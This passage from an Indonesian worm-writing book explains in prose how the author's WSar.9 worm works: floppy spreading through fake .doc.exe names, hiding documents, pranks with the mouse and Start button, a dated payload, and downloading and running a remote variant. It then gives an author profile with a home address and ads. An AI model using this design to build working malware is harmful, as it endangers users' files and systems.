Saat procedure InfectFloppy dieksekusi pertama kali yang dilakukan adalah membersihkan data pada ListBox lstDoc, kemudian menam-bahkan satu item mengacu pada nilai registry yang merupakan lokasi default untuk folder My Document aktif.

WSar.9 kemudian mencari dan mengumpulkan file yang berekstensi *.doc pada folder tersebut dan menyimpannya dalam ListBox lstDoc. Jika ListBox lstDoc memiliki data maka worm memilih secara acak nama file dokumen tersebut dan menggunakan nama tersebut untuk membuat salinan pada drive A, tentunya dengan ekstensi .exe. Seba-liknya jika pada ListBox lstDoc tidak ditemukan adanya data maka WSar.9 menggunakan nama default "readme.doc.exe".

Procedure Payload akan memanggil function Phantom dengan variabel DirPath yang diambil dari lokasi default untuk folder My Document, variabel Extention diatur pada *.doc, variabel FullSourcePath dari full-path file utama dan variabel TargetName yang diatur menjadi "where my document.doc.exe". Setelah itu seperti yang terjadi pada worm dasar lainnya, WSar.9 juga menampilkan pesan "WSar.9 Ada Pada Komputer Anda".

Page 288: Computer Worm 1 secret of underground coding

273Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

B

ab 1

5. W

orm

WS

ar.9

Procedure tmrMulti_Timer aktif setiap 0.5 detik. Jika angka kedua pada menit sekarang adalah 2 atau angka kedua pada menit sekarang adalah 8 dan detik sekarang adalah 13 maka akan di-eksekusi proce-dure InfectFloppy.

Jika menit sekarang adalah 1 atau 31 maka panggil function Swap-MouseButton dari module mdlIseng yang akan menukar fungsi tom-bol pada mouse, kemudian akan dipanggil function StartButton dari module mdlIseng yang akan menyembunyikan tombol Startmenu. Jika menit bukan 1 atau 31 maka sebaliknya akan menormalkan fungsi tombol pada mouse dan tetap menampilkan tombol Startmenu.

Jika bulan sekarang adalah Oktober dan tanggal sekarang adalah 13 dan nilai CPayload adalah false, maka atur variabel CPayload menjadi true, kemudian panggil procedure PayLoad.

Jika komputer tidak terkoneksi ke internet maka akan mengakhiri pro-cedure. Jika tahun sekarang lebih besar dari 2006 dan nilai VarianExist adalah false, maka jika file dengan nama file wsar(tahun sekarang).exe (sebagai contoh jika tahun sekarang adalah 2007 maka nama filenya adalah: wsar2007.exe) tidak ditemukan pada direktori Windows maka WSar.9 memanggil function Downloader yang akan men-download file dari site fiktif http://www.iwwa.or.id/newvar ian/wsarx.exe, dengan lokasi file pada direktori Windows dan langsung mengeksekusinya, kemudian mengatur nilai VarianExist menjadi true.

Function DropFile berguna untuk mengekstrak resource file dari body program utama. Function Downloader berfungsi untuk memudahkan pengambilan file di internet.

Function Phantom bertugas untuk memeriksa suatu folder tertentu dan mencari file-file dengan suatu ekstensi tertentu, dimana function ini menyembunyikan file-file tersebut dan meninggalkan suatu salinan file tertentu dengan nama file tertentu pula. Function GetFiles berfungsi untuk membantu mengumpulkan file dengan ekstensi tertentu dan pada direktori tertentu.

Module mdlBlockUrl memiliki function utama BlockUrl, function yang akan memeriksa address bar pada aplikasi Internet Explorer dan Netscape.

Page 289: Computer Worm 1 secret of underground coding

274Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 15. W

orm W

Sar.9

Module mdlIseng memiliki 3 function utama, yaitu Function ShowCursor yang dapat menyembunyikan dan menampilkan pointer mouse, Function SwapMouseButton yang mampu menukar fungsi tombol pada mouse, dan function StartButton yang dapat menyembu-nyikan dan menampilkan tombol Startmenu.

Module mdlRenProcess memiliki function utama RenProcess yang dapat mengganti string pada jendela aplikasi Task List. Module mdlTurnOff memiliki function utama TurnOff, function yang dapat menghentikan system komputer dengan berbagai cara seperti Shut-Down, Restart atau LogOff.

Catatan untuk WSar.9: berikut ini adalah beberapa lokasi registry, sehubungan dengan icon default pada suatu ekstensi

Ekstensi Lokasi KeyAVI HKEY_CLASSES_ROOT\AVIFile\DefaultIcon

CHM HKEY_CLASSES_ROOT\chm.file\DefaultIcon

GIF HKEY_CLASSES_ROOT\giffile\DefaultIcon

HTML HKEY_CLASSES_ROOT\htmlfile\DefaultIcon

ICO HKEY_CLASSES_ROOT\icofile\DefaultIcon

JPG HKEY_CLASSES_ROOT\jpegfile\DefaultIcon

MID HKEY_CLASSES_ROOT\MIDFile\DefaultIcon

MP3 HKEY_CLASSES_ROOT\mp3file\DefaultIcon

MPEG HKEY_CLASSES_ROOT\mpegfile\DefaultIcon

WMA HKEY_CLASSES_ROOT\wmafile\DefaultIcon

WMF HKEY_CLASSES_ROOT\wmffile\DefaultIcon

Page 290: Computer Worm 1 secret of underground coding

Jasakom275

PROFIL PENULIS

Nama penulis Achmad Darmal, lahir pada tanggal 13 Oktober 1980 di Tarakan, Kalimantan Timur - Indonesia, saat ini bekerja pada salah satu perusahaan swasta yang bergerak dibidang konstruksi dan per-tambangan, penulis juga bekerja part-time dibeberapa lembaga kursus sebagai tenaga instruktur sekaligus merangkap sebagai teknisi kom-puter.

Saat ini penulis sedang memperdalam ilmu komputer animasi dan desain grafis, serta aktif dalam pengembangan software perusahaan dimana penulis bekerja.

Alamat lengkap penulis:Jl. Pesisir Indah RT. 13 No. 86 Kel. Selumit PantaiTarakan Tengah, Kalimantan Timur - IndonesiaTelp: (0551) 5505637 Fax: (0551) 34971E-mail : [email protected]

Profi

l - P

rofil

- Pr

ofil -

Pro

fil -P

rofil

- Pr

ofil -

Profi

l - P

rofil

- Pr

ofil -

Profi

l

Page 291: Computer Worm 1 secret of underground coding
Page 292: Computer Worm 1 secret of underground coding

Aplikasi Computer Worm 1 & Computer Worm 2

Page 293: Computer Worm 1 secret of underground coding

Belanja Aman dan Nyaman

WWW.TOKOMAHAL.COM

Page 294: Computer Worm 1 secret of underground coding
Page 295: Computer Worm 1 secret of underground coding

www.buku-joomla.us adalah situs yang dibangun dan dikelola oleh pembaca buku

Joomla! 1.5 : Dunianya Maya, Untungnya Nyata.Sebagai pembaca, Anda berhak mengakses, memban-gun, merubah seisi situs ini. Dapatkan informasi de-

tailnya didalam buku Joomla 1.5 !

Penulis : S’to

Page 296: Computer Worm 1 secret of underground coding

Dapatkan Buku-Buku S'to !

Page 297: Computer Worm 1 secret of underground coding

Kunjungi www.jasakom.com untuk melihat dan membeli buku-buku terbitan dari JasakomBuku ini juga tersedia di toko-toko buku di seluruh Indonesia seperti Gramedia, Toga Mas Gunung Agung,

Toko Utama, Kharisma, Uranus, dll

Windows XP:XXX dan Windows XP2:XXX merupakan serial buku IT

paling laris sepanjang tahun.

Buku ini akan memperlihatkan kepada Anda bagaimana

melakukan berba-gai hal unik dengan Windows XP yang tidak pernah Anda

bayangkan sebelum-nya. Tidak percaya?

Silahkan buktikan sendiri !

Dapatkan JugaWindows VISTA XXX